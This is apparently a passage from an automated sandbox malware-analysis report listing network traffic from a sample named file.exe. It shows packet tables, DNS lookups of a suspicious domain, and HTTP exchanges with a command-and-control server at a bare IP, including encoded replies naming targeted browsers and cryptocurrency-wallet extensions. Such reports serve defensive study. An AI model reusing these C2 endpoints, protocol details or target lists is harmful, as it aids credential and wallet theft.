Dec 9, 2024 15:30:17.662055969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.663250923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.663332939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.664753914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.664768934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.664860010 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.666230917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.666253090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.666282892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.666311979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.667735100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.667751074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.667783976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.667802095 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.669367075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.669383049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.669394016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.669430017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.669466019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.670835018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.670886040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.670888901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.670928001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.672208071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.672259092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.672265053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.672302008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.673743963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.673757076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.673836946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.675498009 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.675513029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.675559044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.675589085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.676791906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.676808119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.676819086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.676855087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.676888943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.678226948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.678240061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.678282022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.678301096 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.679781914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.679795980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.679837942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.679847956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.681221008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.681236029 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.681267023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.681277037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.682828903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.682846069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.682874918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.682893038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.684283972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.684298992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.684338093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.685764074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.685780048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.685791969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.685796976 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.685806990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.685831070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.687299967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.687323093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:17.687355995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.687388897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:17.688735962 CET	80	49866	31.41.244.11	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 15:29:05.565375090 CET	192.168.2.5	1.1.1.1	0xe2ea	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 15:29:05.565682888 CET	192.168.2.5	1.1.1.1	0x53db	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 15:29:12.432080030 CET	192.168.2.5	1.1.1.1	0xd6e4	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 15:29:12.432301044 CET	192.168.2.5	1.1.1.1	0xd8f1	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 9, 2024 15:30:46.624831915 CET	192.168.2.5	1.1.1.1	0xa5dc	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 15:29:05.702274084 CET	1.1.1.1	192.168.2.5	0x53db	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 15:29:05.705981970 CET	1.1.1.1	192.168.2.5	0xe2ea	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 9, 2024 15:29:12.568978071 CET	1.1.1.1	192.168.2.5	0xd6e4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 15:29:12.568978071 CET	1.1.1.1	192.168.2.5	0xd6e4	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 9, 2024 15:29:12.569600105 CET	1.1.1.1	192.168.2.5	0xd8f1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 15:30:46.766232967 CET	1.1.1.1	192.168.2.5	0xa5dc	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 15:30:46.766232967 CET	1.1.1.1	192.168.2.5	0xa5dc	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	3040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 15:28:56.595577002 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 9, 2024 15:28:57.939379930 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:28:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 9, 2024 15:28:57.943423033 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCFBKFCFCBGDGIEGH Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 35 30 37 35 30 44 45 35 45 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 46 42 4b 46 43 46 43 42 47 44 47 49 45 47 48 2d 2d 0d 0a Data Ascii: ------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="hwid"150750DE5E39786254513------CGCFCFBKFCFCBGDGIEGHContent-Disposition: form-data; name="build"stok------CGCFCFBKFCFCBGDGIEGH--
Dec 9, 2024 15:28:58.402486086 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:28:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 7a 51 34 4d 6d 59 31 5a 54 64 6c 59 57 55 78 4e 6d 46 6c 4e 44 4e 6b 4f 54 52 6c 4d 47 4d 35 5a 54 63 33 4f 57 45 30 4f 57 5a 69 4d 7a 5a 6b 4d 6d 56 6c 5a 6a 68 6d 5a 6d 5a 6c 4e 6d 45 79 5a 6a 4e 68 4d 6a 59 78 59 57 51 79 5a 6a 63 32 59 6d 55 79 4f 44 5a 68 5a 6d 55 34 5a 44 45 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NzQ4MmY1ZTdlYWUxNmFlNDNkOTRlMGM5ZTc3OWE0OWZiMzZkMmVlZjhmZmZlNmEyZjNhMjYxYWQyZjc2YmUyODZhZmU4ZDExfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 9, 2024 15:28:58.417803049 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="message"browsers------AAEHIDAKECFIEBGDHJEB--
Dec 9, 2024 15:28:58.863502026 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:28:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 9, 2024 15:28:58.863812923 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 9, 2024 15:28:58.865027905 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"7482f5e7eae16ae43d94e0c9e779a49fb36d2eef8fffe6a2f3a261ad2f76be286afe8d11------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"plugins------FIIDBKJJDGHDHJKEHJDB--
Dec 9, 2024 15:28:59.309695005 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:28:59 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 9, 2024 15:28:59.309942007 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 9, 2024 15:28:59.309959888 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 9, 2024 15:28:59.311306000 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 9, 2024 15:28:59.312103033 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 9, 2024 15:28:59.312115908 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 9, 2024 15:28:59.313743114 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 34 38 32 66 35 65 37 65 61 65 31 36 61 65 34 33 64 39 34 65 30 63 39 65 37 37 39 61 34 39 66 62 33 36 64 32 65 65 66 38 66 66 66 65 36 61 32 66 33 61 32 36 31 61 64 32 66 37 36 62 65 32 38 36 61 66 65 38 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 